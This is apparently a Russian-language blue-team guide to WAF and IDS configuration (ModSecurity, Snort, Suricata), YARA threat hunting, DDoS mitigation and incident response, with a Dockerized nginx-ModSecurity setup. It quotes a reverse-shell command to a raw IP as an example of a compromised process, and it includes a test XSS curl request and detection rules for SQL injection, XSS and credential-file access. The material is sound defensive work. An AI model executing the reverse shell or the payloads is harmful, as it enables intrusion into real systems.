ModSecurity может интегрироваться с внешними системами мониторинга, такими как SIEM. Это позволяет администраторам централизованно отслеживать безопасность в реальном времени и получать оповещения.
Мониторинг системных журналов:

События ModSecurity также могут быть отправлены в системные журналы операционной системы. Администраторы могут настроить мониторинг этих журналов для обнаружения и реагирования на инциденты.
Использование специфических настроек в конфигурации:

В ModSecurity существует настройка SecAuditLogRelevantStatus, которая позволяет настроить конкретные статусы ответов, при которых должны генерироваться оповещения. Например, для оповещения при срабатывании правил, приводящих к статусам 5xx и 4xx, вы можете установить: 
SecAuditLogRelevantStatus "^(5|4[0-9][0-9])$"

                  
Как было сказано ранее, ModSecurity можно использовать в базовой комплектации правил, но как правило, ее может быть недостаточно, поэтому очень важна кастомизация ModSecurity. Она позволит адаптировать WAF под конкретные потребности безопасности веб-приложения. Это может включать в себя настройку правил фильтрации, оптимизацию производительности, а также логирования событий под требования безопасности.
Кастомизация ModSecurity также полезна для учета специфических сценариев использования, например, когда веб-приложение использует веб-сервисы или API. Так как ModSecurity — инструмент с открытым исходным кодом, он легко поддается кастомизации, и также может интегрироваться с внешними системами мониторинга и управления инцидентами.

Snort

Snort — IDS/IPS с открытым исходным кодом. Метод обнаружения атак — сигнатурный анализ трафика. Поддерживает обнаружение атак на различных уровнях сети, включая IP, TCP, UDP, ICMP, и другие протоколы.

Примеры правил Snort
Пример 1: Правило обнаруживает попытки SQL-инъекций в URL с использованием одинарной кавычки (%27).

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection Attempt";
flow:to_server,established; content:"%27"; classtype:web-application-attack; sid:1;)

Пример 2: Правило обнаруживает попытки доступа к файлу /etc/passwd в сетевом трафике.

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Attempt to access /etc/passwd";
content:"/etc/passwd"; classtype:attempted-recon; sid:2;)

Пример 3: Правило обнаруживает попытки XSS-атак с использованием встроенного скрипта в теле HTTP-запроса.

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"XSS Attack Attempt";
flow:to_server,established; content:"<script>"; classtype:web-application-attack; sid:3;)

Пример 4: Правило обнаруживает попытки загрузки файлов с подозрительным содержимым, начинающимся с сигнатуры MZ, что может указывать на исполняемый файл. 

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential Malicious File Download"; flow:to_client,established; file_data; content:"MZ";
isdataat:!1,relative; classtype:trojan-activity; sid:4;)

Suricata

Suricata - инструмент сетевой безопасности с открытым исходным кодом, который является средствами IDS/IPS и предоставляет мониторинг сетевой активности. Suricata использует сигнатурный анализ для выявления атак в трафике. Сигнатурный анализ основывается на заранее определенных сигнатурах (правилах), описывающих известные атаки и угрозы, IDS/IPS сверяет содержимое пакета на наличие паттернов, определенных в сигнатуре, и срабатывает в случае совпадения с этим паттерном.

Suricata считается логическим продолжением Snort.

Синтаксис правил Suricata

action proto src_ip src_port direction dst_ip dst_port (options; content; classtype; sid; rev; msg;)
Поле Описание
action Действие, которое предпринимается при срабатывании правила: alert для предупреждения, drop для блокировки трафика
proto Протокол: TCP, UDP, ICMP, IP, HTTP и т. д.
src_ip, dst_ip Адреса источника и назначения
src_port,
dst_port		 Порты источника и назначения
direc tion Направление трафика: -> для однонаправленного, <-> для двунаправленного
options Дополнительные опции правила, такие как flow для указания направления трафика, content для поиска содержимого в пакетах, flowbits для работы с битами состояния, и другие.
class type Класс атаки, например, attempted-recon, successful-admin, web-application-attack, и т. д.
sid Уникальный идентификатор сигнатуры
rev Номер версии правила, обновляется каждый раз, когда вендор обновляет сигнатуру
msg Имя правила

Примеры правил Suricata

Пример 1:

alert tcp any any -> $HOME_NET any (msg:"Port Scan Detected"; flags:S; threshold: type both, track by_src, count 5, seconds 60;)

Правило обнаруживает сканирование:

Пример 2:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET USER_AGENTS Suspicious User-Agent (hi)";
flow:established,to_server; http.header; content:"User-Agent|3a 20|hi|0d 0a|";
nocase; classtype:trojan-activity; sid:2018381;
rev:4; metadata:affected_product Any, attack_target Client_Endpoint, created_at 2014_04_10,
deployment Perimeter, former_category HUNTING, signature_severity Major, tag User_Agent, updated_at 2020_04_29;)

Правило обнаруживает подозрительный User-Agent "hi" в HTTP-трафике.

Пример 3:

alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET MALWARE Gimmiv Infection Ping Outbound"; icode:0; itype:8; dsize:20;
content:"abcde12345fghij6789"; reference:url,doc.emergingthreats.net/2008726;
classtype:trojan-activity; sid:2008726; rev:3; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

Правило обнаруживает троян Gimmiv в ICMP-трафике по строке abcde12345fghij6789.

Пример 4:

alert dns any any -> $HOME_NET any (msg:"ET ATTACK_RESPONSE PowerShell String Base64 Encoded Text.Encoding (ZXh0LkVuY29k) in DNS TXT Reponse"; content:!"v=DKIM";
 content:"|00 00 10 00 01 c0 0c 00 10 00 01|"; content:"ZXh0LkVuY29k"; distance:0; fast_pattern; reference:url,github.com/no0be/DNSlivery; classtype:bad-unknown; sid:2043164;
 rev:2; metadata:attack_target Client_Endpoint, created_at 2023_01_03, deployment Perimeter, former_category ATTACK_RESPONSE, performance_impact Low, signature_severity Major, updated_at 2023_01_24;)

Правило обнаруживает закодированную в base64 cтроку PowerShell в ответе DNS TXT.

Пример 5:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential Malicious File Download"; flow:to_client,established; file_data; content:"MZ";
 isdataat:!1,relative; classtype:trojan-activity; sid:4;)

Правило обнаруживает попытки загрузки файлов с подозрительным содержимым, начинающимся с сигнатуры MZ, что может указывать на исполняемый файл.

Группы хостов

Suricata и Snort, используют группы хостов для определения, какие узлы сети следует рассматривать в контексте правил. Группы хостов определяются администраторами IDS/IPS.

Рассмотрим некоторые группы:

$HOME_NET - обозначает внутреннюю сеть, которую вы хотите защитить. Это может включать в себя все внутренние IP-адреса и сети организации.
$EXTERNAL_NET - обозначает внешнюю сеть или сети, которые считаются внешними для вашей инфраструктуры. Это может включать в себя весь интернет или определенные сетевые диапазоны, обычно в EXTERNAL_NET берутся все хосты, которые не включены в HOME_NET, то есть $EXTERNAL_NET = !($HOME_NET)
$DNS_SERVERS - определяет серверы DNS
$DC_SERVERS - контроллеры домена
$SMTP_SERVERS - серверы электронной почты
$HTTP_SERVERS - веб-серверы и т.д.

Сравнение Suricata и Snort


 Suricata Snort
Многопоточность Многопоточная Однопоточная
Блокировка трафика + +/-
Сложные переменные + +/-
Протоколы + +/-
Действия дополнительные действия в правилах, такие как reject и replace alert drop
обработка трафика + -

Классификация угроз

Threat Hunting — это проактивный поиск угроз, вредоносной деятельности в компьютерных сетях. 

Цель - обнаружении кибератак, которые не могут быть выявлены с помощью традиционных методов защиты (брандмауэры, антивирусные программы). Для этого проводится ручной или автоматизированный поиск и анализ индикаторов компрометации (IoC).

Дополнение к существующей системе защиты. Шаги:

Если гипотеза подтверждается, нужно принять меры. Полученная информация также может быть использована для формулирования новых гипотез и улучшения системы защиты, например, для обновления правил фильтрации трафика.

Hunting Maturity Model (HMM - «модель зрелости активного поиска угроз») — это система оценки готовности организации к активному поиску угроз. Существует пять уровней зрелости компании в HMM:

Индикатор компрометации (IoC) – активность или вредоносный объект, обнаруженный в сети или на конечной точке. Возможно идентифицировать индикаторы и улучшить возможности по обнаружению будущих атак вдобавок к используемым корреляционным правилам. Разные типы индикаторов имеют разный срок “жизни” и разный уровень надежности.

Основные типы индикаторов компрометации с показателем надежности:

Ресурсы, где можно найти открытые базы индикаторов компрометации:

Инструменты для поиска по IOCs

Минус Loki, THOR, YARA - нет централизованного управления. Для распространения утилит по инфраструктуре необходимо будет воспользоваться групповыми политиками (GPO), System Center Configuration Manager(SCCM), Ansible, или с помощью антивирусного решения. 

Loki 
Это простой IOC и YARA сканнер, который отлично подходит для поиска следов взлома. Loki предоставляет нам четыре способа выявления взлома:

Дополнительные проверки:

Типовыми признаками (Indicators of Compromise) компроментации:

THOR

Это сканер IOC и YARA с расширенный функционалом, база более 17 000 сигнатурами YARA, 400 правилам Sigma, многочисленным правилам обнаружения аномалий и тысячам IOC. Так же есть бесплатная, но с ограниченными функциями версия THOR Lite.

Дополнительный функции THOR:

широкая кроссплатформенность с поддержкой Windows, Linux, macOS и AIX;
функция THOR Remote позволяет сканировать несколько конечных систем Windows с одной привилегированной рабочей станции;
поддерживает SIGMA. SIGMA — это унифицированный формат описания правил детектирования, основанных на данных из логов;
поддерживает функцию анализа реестра;
модуль для анализа SHIM Cache, который проверяет содержимое AppCompatCache в системах Windows. Этот модуль позволяет обнаруживать вредоносные или подозрительные записи программ, давно удаленных злоумышленниками;
анализатор именованных каналов(pipe), мьютексов, журналов событий
Комната на TryHackMe для знакомства с THOR Lite

YARA

Это опен­сор­сный инс­тру­мент, который помога­ет иссле­дова­телям искать и клас­сифици­ровать вре­донос­ные сем­плы и даже про­водить Threat Hunting. Ути­лита выпол­няет сиг­натур­ный ана­лиз на осно­ве фор­маль­ных YARA-опи­саний (пра­вил). В них содер­жатся инди­като­ры ком­про­мета­ции для раз­ных типов вре­донос­ного ПО.

Фиш­ка в том, что делать пра­вила лег­ко и не занима­ет мно­го вре­мени. Имен­но поэто­му YARA исполь­зуют в AlienVault, Avast, ESET, FireEye, Group-IB, Kaspersky, Trend Micro, Virus Total, x64dbg... В общем, поч­ти все, кто име­ет дело с ана­лизом вре­донос­ного ПО.

YARA-пра­вила могут обра­баты­вать не толь­ко исполня­емые фай­лы, но и докумен­ты, биб­лиоте­ки, драй­веры — все что угод­но. Ими же мож­но ска­ниро­вать сетевой тра­фик, хра­нили­ща дан­ных, дам­пы памяти. Эти пра­вила мож­но вклю­чать в дру­гие инс­тру­мен­ты, такие как SIEM, анти­фишинг, IDS, песоч­ницы.

Инструмент YARA и YARA-правила

Структура правил

Обыч­но пра­вила хра­нят­ся в тек­сто­вом фор­мате фай­ла с расширением .yar и сос­тоят из двух сек­ций:

rule SomeMalwareName
{
   meta:
      author = "AuthorName"

   strings:
      …

   condition:
      …
}

Пример отображения секций

Применения YARA

Ми­нималь­но необ­ходимые сек­ции — это наз­вание пра­вила и его усло­вия. Для примера напишем простое правило, в котором будем детек­тировать объ­екты толь­ко по их imphash:

import "pe"

rule MyLittleAgentTeslaRuleDetect 
{
   condition:
      pe.imphash() == "b21a7468eedc66a1ef417421057d3157" or
      pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744"
}

Сох­раним файл как AT.yar и запус­тим на дирек­тории с сем­пла­ми Agent Tesla. Пос­мотрим на резуль­тат и убе­дим­ся, что пра­вило отра­бота­ло на всех пред­ста­вите­лях Agent Tesla:

Ре­зуль­тат — все из всех.

Пра­вила YARA под­держи­вают импорт полез­ных модулей, соответственно, мож­но написать свои модули. Ниже представлены наибо­лее час­то исполь­зуемые:

С пол­ным спи­ском модулей можно ознакомиться в офи­циаль­ной докумен­тации по YARA.

Создание правил

В опци­ональ­ной сек­ции опре­деле­ний мож­но использовать мас­ки (wildcard, подобия регуляр­ных выраже­ний). Таким образом, для шес­тнад­цатерич­ных строк воз­можны следующие мас­ки:

Рас­смот­рим еще один при­мер с нес­коль­кими пра­вила­ми и увидим раз­нооб­разие воз­можнос­тей детек­тирова­ния YARA:

import "hash"

rule RUFUS_found 
{
   strings:
      $HEX_string = { E0 38 D2 21 32 4D 1B C1 79 EC 00 70 76 F5 62 B6 }

   condition:
      $HEX_string and hash.md5(0, filesize) == "d35936d329ac21ac3b59c525e2054078"
}

Правило RUFUS_found— сра­баты­вает при соблюдении двух секций, если будет обна­ружен ука­зан­ный машин­ный код и сов­падет хеш MD5.

Загрузим на хост rufus-2.17p.exe и за­пус­тим про­вер­ку с нашим пра­вилом MyExe.yar и оце­ним резуль­тат.

По полученному результату видно, что YARA-правило составлено корректно.

Утилиты для автоматической генерации YARA

Для получе­ния пра­вил есть три пути:

Для генера­ции пра­вил они находят уни­каль­ные стро­ки во фраг­ментах вре­доно­сов. Но надо понимать, что это не самый надеж­ный спо­соб, поэтому правила обязательно нужно проверять и корректировать.

Практический пример Threat Hunting

Threat Hunting начинается с построения гипотезы, возьмем гипотезу способов загрузки с зараженного хоста эксплоита, хакерской утилиты или любой другой полезной нагрузки для закрепления или исполнения в системе. В нашей ситуации так же события не направляются в SIEM систему из-за ограничения лицензии в объеме коррелируемых событий, поэтому поиск будем производить в журналах событий самого хоста.

В сети интернет есть ресурс GTFOBins, где описаны встроенные в систему утилиты/команды, которые могут использоваться для двойного назначения, как для выполнения специальных функций свойственных для данных утилит/команд, так и в нашем случае для загрузки в систему.

Самые популярные утилиты для загрузки в систему полезной нагрузки — это curl, wget, ftp,

Возьмем их для начала и выполним поиск по журналу событий auditd с помощью команды grep.

Используем в команде ключ -i , который указывает на регистронезависимый поиск.

Обратные слеши (\) перед оператором чередования (|) используется для экранирования оператора чередования.

Может к счастью, а может и нет, но наш поиск не выдает результатов.

Продолжаем поиск. Проверим следующий список утилит известной для нас командой grep состоящий из scp, smbclient, lwp-download.

На картинке ниже можно увидеть 3 типа события SYSCALL, EXECVE, PATH, которые фиксируют активность c утилитой scp. Если посмотреть на тип события EXECVE, который логирует исполненную командную строку, то можно увидеть, что с помощью команды scp был загружен файл payload в директорию /tmp.

Гипотезы можно строить различные для выявления угроз, успешные из которых следует преобразовывать в корреляционные правила, но это не всегда возможно, в виду большого количества возможных ложных срабатываний (FP), но в таком случае можно оставить гипотезу как сохраненный поисковый запрос для периодического ручного запуска в SIEM.

Противодействие на периметре

Основные этапы от DDOS

  1. Анализ информации (сбор метрик с сетевого оборудования с учетом информация о пострадавших системах).
  2. Построение гипотезы о типе атаки и ее цели.
  3. Противодействие.

Противодействие для малого бизнеса

Общие рекомендации:

  1. Коммуникация с Интернет-провайдером с целью ограничения пропускной полосы для протоколов, подверженным Amplification атакам, например 53 (dns), 11211 (memcache), 123 (ntp)*
  2. Восстановить работоспособность офисного сегмента, изменив DNS записи для публикуемых сервисов.
  3. Если п.2 не помог, запросить изменение IP адреса на WAN интерфейсе или сменить Интернет-провайдера.
  4. Полный или частичный (proxy) перенос сервисов на облачные площадки (SaaS или VPS).*

Специфично для Flood-атак (когда страдает не канал, а сетевое оборудование)

  1. Разделение сетевого оборудование на внутреннее и внешнее.*
  2. Уменьшение сессионных таймаутов.*
  3. Применение вендор-специфик рекомендаций, например MikroTik: документация, презентация.*

Противодействие для среднего бизнеса

Общие рекомендации, отличные от озвученных ранее и для случаев, если они не помогают или не доступны

  1. Связаться с поставщиком услуг по защите от DDoS атак.
  2. Следовать его рекомендациям по передаче права анонсирования вашей /24 сети от их AS.

L7 DDoS-атака или Нарушение работы веб-приложения

В учебном курсе "Профессия - Белый хакер" в разделе 5 "Уровень 2.1. Взлом веб-приложений" описаны основные и часто встречаемые угрозы. Кроме этого существуют различные DDoS атаки, которые нацеленные на уровень приложения. Это может быть и разновидность Slowloris-атак, рассчитанная на медленную коммуникацию по протоколу HTTP после установления ТСР-соединения. Так и спам легитимных запросов, но которые генерят большую нагрузку на сам сервер или бэкенд, например поиск по сайту.

Web Application Firewall

Для противостояния таким угрозам, желательно иметь Web Application Firewall (WAF). В качестве довольно быстрого в развертывании и бесплатного решения мы можем использовать:

ModSecurity - WAF с открытым исходным кодом, имеющий модули для web серверов на базе apache2 и nginx (End-of-Live 2024), основан на сигнатурном анализе.

CloudFlare - облачный поставщик услуг, бесплатно предоставляющий защиту от DDoS атак и распространенных атак на веб приложение. Так же в бесплатной версии предоставляет возможность создать 10 собственных блокирующих правил. Вероятно, не подойдет для бизнесов, имеющих ограничения на обработку персональных данных или другой чувствительной информации.

open-appsec - новый перспективный ML WAF, как с возможностью локальной установки и управления, так и подключения к облачной Web консоли управления. Имеет как платную, так и бесплатную версии. Последняя сравнима с бесплатным функционалом CloudFlare.

Альтернатива WAF

В случаях, когда WAF по каким-то причинам недоступен, у нас все еще остается возможность:

Apache2 - имеет два конфигурируемых параметра: Timeout и KeepAliveTimeout, которые я рекомендовал бы выставить в значения 60 и 5 соответственно, 300 и 15 - значения по умолчанию. Так же у этого сервиса имеется модуль mod_ratelimit, который может контролировать кол-во входящих запросов с IP адреса.

fail2ban - приложение, которые в автоматическом режиме модифицирует правила на локальном firewall, блокируя IP адрес на определенное время. Решение принимается на основе лог файлов аппликейшн. Например, sshd залогировал 5 неуспешных попыток входа с одного ip адреса - fail2ban заблокирует этому IP вход на порт tcp/22 на 10 минут. Аналогичным образом могут отслеживаться попытки входа в админ панели или аккаунты, перечисление каталогов (большое количество ошибок 404) и даже попытки эксплуатаций SQL injection (+SELECT+) или Path Traversal (../../).

iptables - уровень фантастики, но когда ничего другого не остается:

iptables -A INPUT -p tcp --dport 80 -m string --algo kmp --string "+SELECT+" -j DROP

Обратите внимание, что этот метод будет работать только с расшифрованным HTTPS, а значит расшифровка SSL должна проходить заранее.

Веб-приложение взломано

Например, среди процессов: 

bash -i >& /dev/tcp/12.23.34.45/10080 0>&1

Cледует действовать быстро, но аккуратно. Быстро, потому что до следующего этапа вас может отделять всего несколько часов.

Следующими этапами атаки на веб-сайт могут быть:

Однако активные блокирующие действия (WAF, iptables или еще что-то) — показатель обнаружения. До этого момента злоумышленник мог рассчитывать на отсутствие контроля за работой сайта, то дальше будет действовать менее заметно, что усложнит анализ.

На этом этапе есть преимущество — мы root, можем читать логи, перенастроить на более детальное логирование всего, что происходит. Расширенные логи нам могут дать:

Цель сбора логирование:

Поиск закрепления

Перед переходу к активному противодействию нужно проверить, не успел ли атакующий закрепиться на системе. Распространенные методы закрепления:

Пример поиска authorized_keys в домашних каталогах, измененные за последние 24 часа:

awk -F: '{print $1,$6}' /etc/passwd | while read user home; do find "$home" -maxdepth 2 -name authorized_keys -mtime -1 -exec stat -c "%U %y %n" {} + 2>/dev/null; done

Пример созданных Cron-задач для всех пользователей:

for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done

Проверка модификации файлов реализовывается через заранее установленный мониторинг изменений либо через плагины CMS. В случае недоступности плагинов или мониторинга, стоит восстановить код из бэкапа.

Противодействие

Собрав информацию, начинаем действовать, но не отключаем сбор информации, так как еще предстоит анализировать следующие шаги злоумышленника:

  1. Удалить обнаруженные методы закрепления.
  2. Удалить все процессы, запущенные от веб сервиса (если они есть).
  3. Ограничить серверу выход в интернет (заблокировать возможность инициировать исходящие соединения в роли клиента), оставив при этом возможность клиентам снаружи подключаться к серверу.
  4. Ограничить SSH-подключение, оставив разрешенным подключение только с IP адресов, принадлежащих вам.
  5. Если способов обнаружения веб шелов на первом шаге вам не доступен, восстановиться из бэкапа.
  6. Изменить пароль администратора веб приложения.
  7. Установить последние доступные обновления используемого веб приложения.

Проделанные шаги  означают, что откатились в состояние 0, но не решили проблему. Первоначальная уязвимость неизвестна, а установив обновления, можно остаться без доказательств в виде расширенных логов, которые мы сможем собрать в цепочку.

Однако, если атакующий не сменит IP адрес или не прекратит активность на ближайшие часы и попробует повторить взлом, при помощи расширенных логов можно сделать предположение об уязвимости.

Кроме того, ранее мы зафиксировали используемые версии веб приложения и его модулей и можем проверить, какие уязвимости в них имеются, например через https://snyk.io/. 

Атакующий получил ROOT-доступ

Это уже очень сложная ситуация, т.к. способов закрепиться у злоумышленника имеется огромное множество. Это может быть и подмена исполняемых файлов в сервисах, например /usr/sbin/apache2. Подменив sshd-файл, атакующий может, например, начать логировать пароли приходящих пользователей. Так что, для полноценной проверки стоит обратиться к коммерческим продуктам, которые могут просканировать всю файловую систему и сравнить хэш суммы файлов с эталонными.

Но в целом, алгоритм должен быть примерно такой:

 

Blue team

ModSecurity

Общая информация

Сайт проекта: https://modsecurity.org/

Анализ логов удобнее делать через AuditConsole. Однако похоже проект сдох. Возможности:

Принципы modsecurity

Два варианта работы: встроенный и reverse proxy. Первый вариант логичнее для односерверных проектов. Второй желательно запускать в режиме кластера прокси, но упрощает процесс управления.

Компоненты

Парсер Форматы данных используются анализаторами, которые извлекают фрагменты данных и сохраняют их для использования в правилах.
Буферизация При обычной установке буферизируется запрос и ответ. Важная функция, поскольку это единственный способ обеспечить надежную блокировку. Требует дополнительной ОП.
Логгирование Может сохранять весь HTTP-трафик.
Механизм правил К началу работы механизма правил, все необходимые фрагменты данных подготовлены. Правила оценивают транзакцию и предпринимают действия.

Жизненный цикл транзакции. Транзакция последовательно проходит 5 этапов:

Заголовки запроса Точка старта. Предоставляет создателям правил возможность быстрого первичного анализа запроса перед анализом тела запроса. Можно настроить, как будет анализироваться тело запроса.
Тело запроса Основные правила
Заголовки ответа Анализ происходит до получения тела ответа
Тело ответа
Логгирование Единственная фаза, в которой нельзя блокировать. Правила определяют, как и что нужно логгировать.

Пример запроса/ответа и связи с жизненным циклом транзакции. Простой запрос и ответ, правил нет.

POST /?a=test HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
b=test		 HTTP/1.1 200 OK
Date: Sun, 17 Jan 2010 00:13:44 GMT
Server: Apache
Content-Length: 12
Connection: close
Content-Type: text/html
Hello World!

Процесс в контексте логов (похоже логи добавляются сверху):

Заголовки запроса

[4] Initialising transaction (txid SopXW38EAAE9YbLQ).
[5] Adding request argument (QUERY_STRING): name "a", value "test"
[4] Transaction context created (dcfg 8121800).
[4] Starting phase REQUEST_HEADERS.

Был создан контекст, добавлены аргументы и проинициализирована транзакция.
Тело запроса

[4] Second phase starting (dcfg 8121800).
[4] Input filter: Reading request body.
[9] Input filter: Bucket type HEAP contains 6 bytes.
[9] Input filter: Bucket type EOS contains 0 bytes.
[5] Adding request argument (BODY): name "b", value "test"
[4] Input filter: Completed receiving request body (length 6).
[4] Starting phase REQUEST_BODY.

Затем добавляются хуки фильтров

[4] Hook insert_filter: Adding input forwarding filter (r 81d0588).
[4] Hook insert_filter: Adding output filter (r 81d0588).

После этого:

[4] Input filter: Forwarding input: mode=0, block=0, nbytes=8192 (f 81d2228, r 81d0588).
[4] Input filter: Forwarded 6 bytes.
[4] Input filter: Sent EOS.
[4] Input filter: Input forwarding complete.
Заголовки ответа [9] Output filter: Receiving output (f 81d2258, r 81d0588).
[4] Starting phase RESPONSE_HEADERS.
Тело ответа

[9] Output filter: Bucket type MMAP contains 12 bytes.
[9] Output filter: Bucket type EOS contains 0 bytes.
[4] Output filter: Completed receiving response body (buffered full - 12 bytes).
[4] Starting phase RESPONSE_BODY.

Затем ответ отправляется клиенту

[4] Output filter: Output forwarding complete.
Логгирование [4] Initialising logging.
[4] Starting phase LOGGING.
[4] Audit log: Ignoring a non-relevant request.

В случае загрузки файлов на сервер, файл буферизируется и затем удаляется. Маленькие файлы сохраняются в ОП, при превышении записываются на диск. Важно при настройке.

Запуск Docker

Оказалось несколько сложнее. ИИ не дает полного ответа, нужно отстраивать по частям. Есть разные образы nginx-modsecurity.

Структура проекта: 

nginx-modsecurity/
├── Dockerfile
├── docker-compose.yml
├── nginx.conf
├── modsecurity.conf
├── nginx-logs/
├── modsec-logs/
└── html/
    └── index.html

Dockerfile

# ---------- СТАДИЯ 1: Сборка ModSecurity и nginx ----------
FROM ubuntu:22.04 AS builder

ENV DEBIAN_FRONTEND=noninteractive
ENV NGINX_VERSION=1.26.2

WORKDIR /opt

# Устанавливаем зависимости
RUN apt-get update && apt-get install -y \
    build-essential git automake autoconf libtool pkg-config \
    libxml2 libxml2-dev libyajl-dev libssl-dev zlib1g zlib1g-dev \
    libgeoip-dev liblmdb-dev libpcre2-dev \
    wget curl ca-certificates && \
    rm -rf /var/lib/apt/lists/*

# ---------- Сборка libmodsecurity ----------
RUN git clone --depth 1 -b v3/master https://github.com/SpiderLabs/ModSecurity && \
    cd ModSecurity && \
    git submodule init && git submodule update && \
    ./build.sh && ./configure && make -j$(nproc) && make install

# ---------- Сборка nginx + ModSecurity connector ----------
RUN wget http://nginx.org/download/nginx-${NGINX_VERSION}.tar.gz && \
    tar xzf nginx-${NGINX_VERSION}.tar.gz && \
    git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git && \
    cd nginx-${NGINX_VERSION} && \
    ./configure --prefix=/usr/local/nginx \
        --with-compat \
        --add-dynamic-module=../ModSecurity-nginx && \
    make modules && make -j$(nproc) && make install

# ---------- СТАДИЯ 2: Финальный образ ----------
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive
ENV NGINX_VERSION=1.26.2
#WORKDIR /etc/nginx

RUN apt-get update && apt-get install -y \
    libyajl2 libxml2 libgeoip1 liblmdb0 ca-certificates && \
    rm -rf /var/lib/apt/lists/*

# Копируем всё нужное из builder
COPY --from=builder /usr/local/modsecurity/ /usr/local/modsecurity/
COPY --from=builder /usr/local/nginx /usr/local/nginx
COPY --from=builder /opt/nginx-${NGINX_VERSION}/objs/ngx_http_modsecurity_module.so /usr/local/nginx/modules/

ENV PATH="/usr/local/nginx/sbin:${PATH}"

# Создаем необходимые директории
RUN mkdir -p /var/log/modsecurity \
    && mkdir -p /var/log/nginx \
    && mkdir -p /etc/modsecurity.d \
    && mkdir -p /usr/local/nginx/conf

# Копируем конфигурационные файлы, все равно потом перезапишем в compose
COPY nginx.conf /usr/local/nginx/conf/nginx.conf
COPY modsecurity.conf /etc/modsecurity.d/modsecurity.conf
COPY html /usr/share/nginx/html

EXPOSE 80

CMD ["nginx", "-g", "daemon off;"]

docker-compose.yml 

services:
  nginx-modsecurity:
    build: .
    container_name: nginx-modsecurity-ubnt
    ports:
      - "80:80"
    volumes:
      - ./html:/usr/local/nginx/html
      - ./nginx.conf:/usr/local/nginx/conf/nginx.conf
      - ./nginx-logs:/usr/local/nginx/logs
      - ./modsec-logs:/var/log/modsecurity
    restart: unless-stopped

nginx.conf 

load_module /usr/local/nginx/modules/ngx_http_modsecurity_module.so;

user  www-data;
worker_processes  auto;

events {
    worker_connections 1024;
}

http {
    include /usr/local/nginx/conf/mime.types;
    default_type application/octet-stream;

    # Директивы для логов (должны быть ДО server блоков)
    error_log /var/log/nginx/error.log;
    access_log /var/log/nginx/access.log;

    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/modsecurity.conf;

    server {
        listen 80;
        server_name _;

        location / {
            root /usr/share/nginx/html;
            index index.html;
            modsecurity on;
        }

        location /status {
            access_log off;
            return 200 "Nginx on Ubuntu is working!\n";
            add_header Content-Type text/plain;
        }

       location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
            root /usr/share/nginx/html;
            modsecurity off;
            expires 1y;
            add_header Cache-Control "public, immutable";
        }
    }
}

index.html 

<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <title>Nginx + ModSecurity</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
    </style>
</head>
<body>
    <h1>Nginx работает!</h1>

    <div>
        <h3>Тестовые ссылки:</h3>
        <ul>
            <li><a href="/">Нормальный запрос</a></li>
            <li><a href="/?test=malicious">Тестовая блокировка (сработает правило 1001)</a></li>
            <li><a href="/status">Статус страница</a></li>
        </ul>
    </div>
</body>
</html>

Запуск и тестирование 

# Запустите контейнер
docker compose up --build -d

# Проверьте логи
docker compose logs -f

# Тестовые запросы
curl http://localhost/
curl "http://localhost/?test=<script>alert('xss')</script>"

modsecurity.conf в разделе Настройка modescurity

Структура файла настроек

Файл настройки разбит на следующие блоки (логически)

Можно распределить настройки по файлам, указав в основном файле ссылки на дополнительные файлы.

Общие настройки

Параметр Описание Необходимость
Основной 

SecRuleEngine Включает модуль 

DetectionOnly - только логгирование (но лимиты все равно работают)

On - включена и блокировка

 

SecRuleEngine On
 +
SecDefaultAction Действие по умолчанию в случае соответствия фильтрам.  
SecDefaultAction "phase:1,log,auditlog,pass"
 +/-
Настройки запроса

SecRequestBodyAccess Буферизация тела запроса. Если отключить, то не будет доступа к post параметрам. 
SecRequestBodyAccess On
 -
SecRequestBodyLimit Максимальный размер тела запроса. Устаревший параметр. 
SecRequestBodyLimit 134217728
 -
SecRequestBodyLimitAction

Действие при превышении лимита тела запроса

ProcessPartial продолжить без буферизации

Reject запретить

 -
SecRequestBodyInMemoryLimit Максимальный размер тела запроса (не понял отличия) Возможно, лимит буферизации в ОП или на диске -
SecRequestBodyNoFilesLimit Максимальный размер тела запроса исключая размер файла -
Настройки ответа

SecResponseBodyAccess Буферизация тела ответа. Часто можно установить в Off, поскольку известны ответы. 
SecResponseBodyAccess On

SecResponseBodyLimit

SecResponseBodyLimitAction

 Как для запроса

SecResponseBodyMimeType

 Список MIME типов для анализа  
SecResponseBodyMimeType text/plain text/html

SecResponseBodyMimeTypesClear

 ХЗ
Хранение данных

SecDataDir Папка хранения постоянных данных  
SecDataDir /tmp/
 +
SecTmpDir Папка хранения временных данных  
SecTmpDir /tmp/
 +
SecUploadDir Размещение закачанных файлов
SecUploadKeepFiles Включить / выключить сохранение файлов
SecUploadFileMode Права на сохраненные файлы  
SecUploadFileMode 0600
SecUploadFileLimit Ограничение на количество файлов в одном запросе

Настройки логгирования

Параметр Описание Необходимость
Лог отладки

SecDebugLog Файл сохранения лога отладки +
SecDebugLogLevel Уровень предупреждений. Хватает 3. 0-отключено, 9-максимально -
Лог данных

SecAuditEngine

On логгировать все

RelevantOnly только попавшие под правила

Off не логгировать

 +
SecAuditLog

Файл лога

 +
SecAuditLogRelevantStatus

Статус ответа, попадающего под лог. Например 

SecAuditLogRelevantStatus "^(?:5|4(?!04))"
 -
SecAuditLogParts

A Заголовок события (время, уникальный ID и т.д.)
B Заголовки HTTP-запроса
C Тело запроса (POST data, JSON, XML и т.п.)
E Внутреннее тело ответа (редко нужно)
F Заголовки HTTP-ответа
G Само тело ответа (HTML, JSON и т.п.)
H  Итоговая информация: какие правила сработали, теги, сообщение и т.д.
I Подробности внутреннего состояния движка
J  Содержимое/метаданные загруженных файлов
